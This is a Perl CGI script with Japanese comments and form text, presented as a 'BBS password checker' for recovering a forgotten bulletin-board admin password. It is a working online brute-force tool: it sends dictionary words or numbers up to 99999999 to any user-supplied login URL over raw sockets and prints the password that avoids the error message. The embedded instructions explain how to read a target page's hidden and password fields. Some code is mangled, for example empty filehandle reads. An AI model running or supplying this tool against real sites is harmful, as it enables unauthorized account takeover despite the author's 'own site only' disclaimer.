#============================================================================# # # # 【BBS パスワードチェッカー】 # # 本スクリプトの配布及び改変は自由ですが、本スクリプトを使用した # # 際に発生した問題についての責任は当方は一切負いません。 # # 使用者自身の責任となる事を承諾された方のみご使用下さい。   # # (決して人様のサイトに向けてやらないよ〜に) # # # # 作成者 : sp # # # # 説明: # # CGIで作成された掲示板等の管理用パスワードを忘れた際に使用します。 # # ランダムアタック(英数字)、辞書ファイルを元にパスワードを探し当てます。 # # # #============================================================================# use CGI; use Socket; #use encoding "shift_jis"; $ATACK_COUNT = 0; $q = new CGI; &HTML_HEADER; &HTML_FORM_1; &GET_FORM_PAR; sub GET_FORM_PAR { if($ENV{'REQUEST_METHOD'} eq "POST") { if ( ($T_URL = $q->param('T_URL')) && ( $T_ERR_MSG = $q->param('T_ERR_MSG')) && ( $T_PASS_NAME = $q->param('T_PASS_NAME')) ){ # http:// の削除 $T_URL =~ s/^http:\/\///; # URL全体の文字数を格納 $T_U_LEN = length("$T_URL"); # T_URL の文字列の0文字目から /(スラッシュ) までの # 文字数を $SS へ格納 $SS = index( "$T_URL", '/' ); # ドメイン以降の文字(ファイルパス)を $T_PATH へ格納 $T_PATH = substr($T_URL, $SS, $T_U_LEN ); $T_URL = substr($T_URL, 0, $SS ); &CHECK_ATACK_FLAG; } else{ print "エラー:T_URL、 T_PASS_NAME、 AUTH ERROR MSG の\n"; print "いづれかに正しい値が入力されていません\n"; exit; } } } sub CHECK_ATACK_FLAG { my $AT_TYPE = $q->param('AT_TYPE'); if( $AT_TYPE eq A_DIC ){ &D_ATACK; } if( $AT_TYPE eq A_NO_0 ){ &N_ATACK_0; } if( $AT_TYPE eq A_NO_00 ){ &N_ATACK_00; } print "データが不正です。\n"; exit; } sub D_ATACK { $DIC_FILE = $q->param('DIC_FILE'); if( $DIC_FILE eq none ) { print "辞書を選択してください。\n"; exit; } open(IN, "$DIC_FILE"); if( -r IN ) { @DIC_LIST = ; } else { print "辞書ファイル $DIC_FILE が開けません
\n"; exit; } close(IN); foreach $DIC_PASSWD (@DIC_LIST) { $ATACK_COUNT = $ATACK_COUNT + 1; &CHECK_R_BTN_FLAG($DIC_PASSWD); # print "$ATACK_COUNT
\n"; } print "だめっぽ
\n"; exit; } sub N_ATACK_0 { for(;;) { &CHECK_R_BTN_FLAG($ATACK_COUNT); $ATACK_COUNT = $ATACK_COUNT + 1; # print "$ATACK_COUNT
\n"; if( $ATACK_COUNT eq 99999999 ) { print "だめっぽ
\n"; exit;} } } sub N_ATACK_00 { for(;;) { $N_PASSWD_Z = "0" . "$ATACK_COUNT"; &CHECK_R_BTN_FLAG($N_PASSWD_Z); $ATACK_COUNT = $ATACK_COUNT +1; # print "$ATACK_COUNT
\n"; if( $ATACK_COUNT eq 99999999 ) { print "だめっぽ
\n"; exit; } } } sub CHECK_R_BTN_FLAG { $PASS_A = $_[0]; $A_CHECK_R_BTN = $q->param('A_CHECK_R_BTN'); if( $A_CHECK_R_BTN eq "?" ) { $T_PATH_ID = "$T_PATH" . '&' . "$T_PASS_NAME" . '=' . "$PASS_A"; &MAKE_SOCK; } else{ $T_NAME = $q->param('T_NAME'); $T_VALUE = $q->param('T_VALUE'); $T_PATH_ID = "$T_PATH" . '?' . "$T_NAME" . '=' . "$T_VALUE" . '&' . "$T_PASS_NAME" . '=' ."$DIC_PASSWD"; &MAKE_SOCK; } } sub MAKE_SOCK { $T_PORT = getservbyname('http', 'tcp') ; $IP_Addr = inet_aton($T_URL) || &ERR_MSG("URL Rename"); $SCADDR = pack_sockaddr_in($T_PORT, $IP_Addr) || &ERR_MSG("Set Sockaddr"); socket (SK, PF_INET, SOCK_STREAM, 0) || &ERR_MSG("Socket create"); connect(SK, $SCADDR) || &ERR_MSG("Connect"); select (SK);$|=1; select(STDOUT) || &ERR_MSG("FD I/O"); &SOCK_TYPE_GET; } sub SOCK_TYPE_GET { print SK "GET $T_PATH_ID HTTP/1.0\r\n\r\n"; while (){ m/^\r\n$/ and last; } while (){ $T_WEB_TMP .= $_; } close(SK); &WEB_AUTH_PAGE_CHECK; } sub WEB_AUTH_PAGE_CHECK { if( $T_WEB_TMP =~ /$T_ERR_MSG/ ) { $T_WEB_TMP = "
解析終了


\n\r\n"; } else { print "$T_WEB_TMP
\n"; print "
パスワード : $PASS_A
\n"; $ATACK_COUNT = $ATACK_COUNT + 1; print "アタック回数 : $ATACK_COUNT
\n"; exit; } } sub HTML_HEADER { print << "HTML_HEADER"; $_[0] HTML_HEADER } sub HTML_FORM_1 { print << "HTML_FORM_1";
    メモ:検証用のスクリプトです。右クリック->ソ\ースの表\示で意味が分からない人には扱えません!


    事前準備:事前に認証画面で失敗した時に出力される文字(ERROR!などの文字)を調べておくこと。
            2Byte文字や特殊文字の入力処理をしていないので半角のメッセージが望ましい。


    使用方法:以下参照。
1. 数字、辞書のどちらかを選択して下さい。 2. ターゲットの認証画面の URL を URL に入力します。 3. 上記で確認した URL が xxxxcgi?yyyy=zzzz の形式、つまり .cgi の後に"?"が含まれているのであれば チェックを "Q" のまま 4. へ進みます。 URLが xxxx.cgi のみで終了している場合は、ターゲットのHTMLソ\ースから <input type=hidden が ある行を確認し、そこに続く name=**** と value=**** の値(*の箇所)をそれぞれ Name、Value の項目に 入力しチェックボックスの "Not Q" をチェックします 4. 上記3. で確認したソ\ースの周囲(だいたい下部)に <input type=password があるので、そこに続く name=**** の値(*の箇所)を Pass Name に入力します 5. Error Msg に事前に確認した認証失敗画面で表\示されるエラーメッセージを入力し「Try」ボタンを押します。 ※ 間違った文字を入れると CPU、メモリをかなり消費しブラウザもひどい事になります。
Atack type 数字( 0〜99999999) 辞書 数字(00〜99999999) URL Name Value Q Not Q Pass Name Error Msg

HTML_FORM_1 &HTML_END; } sub HTML_END { print << "HTML_END";
      その他:
1. もしパスが抜けなくても泣かない事。
2. ニヤニヤしながらこのスクリプトを使わない事。
3. XSS
4. よその人様のサイトに対して使っちゃだめ。悪用いくない。
HTML_END } # print "by sp"; sub ERR_MSG { print "

$_[0] err \n"; exit; } exit;